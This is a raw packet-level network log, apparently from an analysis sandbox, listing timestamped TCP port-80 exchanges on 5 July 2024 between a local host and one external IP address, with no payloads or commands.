Jul 5, 2024 07:47:53.551129103 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551141024 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551151991 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551156044 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551156044 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551162958 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551173925 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551203012 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551225901 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551529884 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551542044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551552057 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551563025 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551574945 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551580906 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551584959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551597118 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551609993 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551640987 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551821947 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551832914 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551865101 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551868916 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551879883 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551889896 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551899910 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551903963 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551951885 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.552238941 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.552249908 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.552259922 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.552270889 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.552280903 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.552282095 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.552298069 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.552309990 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.552310944 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.552339077 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.552350044 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.552505970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.559086084 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.559127092 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.559132099 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.559139013 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.559176922 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.559231043 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.559242010 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.559252024 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.559263945 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.559282064 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.559297085 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.622255087 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622284889 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622292042 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622333050 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622343063 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622354031 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622361898 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.622364998 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622394085 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.622714043 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622756004 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622759104 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.622767925 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622803926 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.622895002 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622905970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622916937 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622927904 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.622945070 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.622975111 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.623034000 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623109102 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623121023 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623136044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623146057 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623155117 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.623184919 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.623337030 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623348951 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623362064 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623378038 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.623408079 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.623666048 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623732090 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623740911 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623780012 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.623810053 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623821020 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623831034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623842001 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623852968 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.623888016 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.623975039 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.623994112 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624028921 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624051094 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624061108 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624099970 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624164104 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624176979 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624186993 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624207973 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624233007 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624294996 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624310017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624353886 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624407053 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624418020 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624468088 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624571085 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624581099 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624588013 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624598026 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624603987 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624608994 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624627113 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624696970 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624835968 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624846935 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624856949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624867916 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624880075 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624881029 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624891996 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.624913931 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.624938011 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.625072002 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.625082970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.625118971 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.639600039 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639610052 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639621019 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639666080 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.639823914 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639834881 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639844894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639861107 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639872074 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639872074 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.639888048 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.639894009 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639925957 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.639961004 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.639971972 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640011072 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640045881 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640058041 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640089989 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640165091 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640176058 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640187025 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640212059 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640225887 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640305042 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640393972 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640404940 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640415907 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640427113 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640434027 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640439987 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640451908 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640451908 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640480042 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640655041 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640666008 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640696049 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640717030 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640728951 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640738010 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640749931 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640760899 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.640763044 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640775919 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640808105 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.640980959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641038895 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641051054 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641061068 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641077042 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641079903 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641103983 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641288042 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641299009 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641309023 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641318083 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641329050 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641334057 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641338110 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641345978 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641355038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641365051 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641376019 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641386032 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641387939 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641400099 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641427040 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641443968 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641676903 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641690016 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641722918 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641776085 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641787052 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641820908 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641921997 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641932964 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641943932 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641954899 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641964912 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.641968012 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641978979 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.641997099 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.642009020 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.642190933 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.642201900 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.642220974 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.642232895 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.642244101 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.642256021 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.642267942 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.642272949 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.642287016 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.642294884 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.648840904 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.648894072 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.648897886 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.648904085 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.648948908 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.648972034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.648983955 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.649019957 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.649086952 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.649097919 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.649107933 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.649127960 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.706684113 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.712210894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.712251902 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.712264061 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.712318897 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.712896109 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.712907076 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.712918043 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.712929010 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.712940931 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.712958097 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.712990999 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.713172913 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713184118 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713218927 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.713293076 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713304043 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713314056 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713325977 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713336945 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.713336945 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713349104 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713360071 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713366985 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.713382006 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.713413000 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.715903997 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.715914965 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.715929031 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.715939999 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.715950012 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.715960979 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.715970993 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.715971947 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.715981007 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.715991974 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716001034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716008902 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.716012001 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716023922 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716033936 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.716034889 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716046095 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716054916 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.716058016 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716068983 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716079950 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.716079950 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716098070 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.716098070 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.716120005 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.716152906 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.721980095 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722001076 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722012997 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722084999 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.722106934 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722152948 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.722162962 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722194910 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722206116 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722240925 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.722331047 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722341061 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722352028 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722363949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722369909 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.722399950 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.722541094 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722552061 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722563028 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722574949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.722579002 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.722609997 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.730777025 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.730804920 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.730815887 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.730822086 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.730850935 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.730957031 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.730967999 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.731000900 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.731012106 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.731045008 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.731084108 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.732733011 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.732788086 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.732800007 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.732829094 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.732928038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.732939005 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.732953072 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.732964039 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.732965946 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.732989073 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733428955 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733438969 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733449936 CEST	80	49733	45.90.58.251	192.168.2.4
